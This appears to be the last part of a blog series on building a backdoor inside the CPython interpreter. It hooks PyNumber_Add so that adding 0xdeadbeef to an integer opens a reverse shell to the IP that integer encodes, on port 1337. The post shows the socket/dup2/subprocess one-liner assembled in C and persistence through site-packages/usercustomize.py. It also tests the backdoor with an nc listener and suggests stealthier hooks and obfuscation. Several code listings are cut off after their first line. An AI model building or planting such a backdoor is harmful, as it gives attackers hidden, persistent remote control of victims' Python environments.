We’re back with another part of the series!
In the Previous Part, we’ve hooked PyNumber_Add function using ctypes and replaced it with our own implementation.
In this part, we will extend our extension to a backdoor that will return a reverse shell given specific addition operands.
To the drawing board!
The Plan
- Just like in the previous part, we will hook the
PyNumber_Addfunction - Our code will check if one of the operands is
0xdeadbeef. - If so, it will extract the other operand and use it as an IPv4 address
- It will then connect to the address on port 1337 and spawn a reverse shell
Adding our trigger
In our previous implementation, after checking that both operands are integers, we added a check to see if they are both equal to 2.
We will replace this check with a check to see if one of the operands is 0xdeadbeef, and if so, we will extract the other operand and use it as an IPv4 address.
1 | unsigned int ipNum = 0; |
IP Extraction and Reverse shell
Since we have access to the Python C API, we have the freedom to run any Python code we want!
We will use the os, socket and subprocess modules to spawn a reverse shell. To avoid string formatting in C, we will use strcat to concatenate the strings. The IP address is extracted one byte at a time, using bit shifting and masking with 0xff to get the lowest byte each time.
The reverse shell itself is a Python one-liner that uses os.dup2 to duplicate the socket file descriptor to the standard input, output and error, and then uses subprocess.call to spawn a shell.
1 | char revShell[4096] = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""; |
And violà! We now have a backdoor that will spawn a reverse shell when the operands are 0xdeadbeef and an IPv4 address.
Putting it all together
1 |
|
Persistence
Python looks for a startup script in the site-packages/usercustomize.py file, so we can drop our script from the Previous Part there and it will be loaded automatically. Don’t forget to edit the Python script and change the path to my_add.so to the correct path on your machine.
1 | # Compile our backdoor module |
Now, let’s test our backdoor!
Testing
We’ll listen on port 1337 using nc.
1 | ➜ ~ nc -vvlp 1337 |
Now let’s perform a simple calculation and see what happens.
1 | ➜ ~ python3 |
So far so good, but does our backdoor work? 0x7f000001 is hex for 127.0.0.1, so let’s try that!
1 | >>> 0xdeadbeef + 0x7f000001 |
And we get a shell! Beautiful!
1 | Connection received on localhost 34998 |
Notes and Caveats
This is a proof of concept, and is not meant to be used in production (whatever “production” means for a backdoor, lol).
Here are some of the things that could go wrong with this implementation:
- I’m pretty sure the current implementation breaks a lot of things, such as the
+operator for other types, but I haven’t tested it extensively - Thread safety is not guaranteed
- The
mprotectcall won’t work on platforms withW^Xmemory protection mprotectwon’t work on Windows- The shellcode trampoline won’t work on platforms other than x86_64
- The inline hook is implemented in a very naive way, and overwrites the original function code of
PyNumber_Add. A better way to implement the inline hook would be to use a trampoline, and jump to the original function code after we’re done. This requires us to allocate a page of executable memory, and copy the original function code there, and then jump to it - Alternatively, we can use a hooking library such as subhook
- The reverse shell doesn’t fork a child process, so the Python process will get stuck until the reverse shell exits, and
stdin/stdout/stderrwon’t get redirected back to the user
Improvements and features that can be added:
- We can use
mmap()to get a page of executable memory and load shellcode from memory, instead of usingCDLLto load a shared library from disk - The backdoor components and it’s communication are not encrypted or obfuscated in any way
- A Python shell would be nice, instead of relying on
/bin/bash - As an attacker, there are better hook targets than
PyNumber_Add, such assocket.recv(), which is guaranteed to be called with user input in a lot of places - Another option is string formatting functions, which are also used everywhere and likely to be called with user input (thanks to @HarpazDor for the suggestion!)
This was a really fun way to spend a weekend!
I hope you enjoyed reading this series as much as I enjoyed writing it, and maybe even learned something new along the way.
Ciao for now!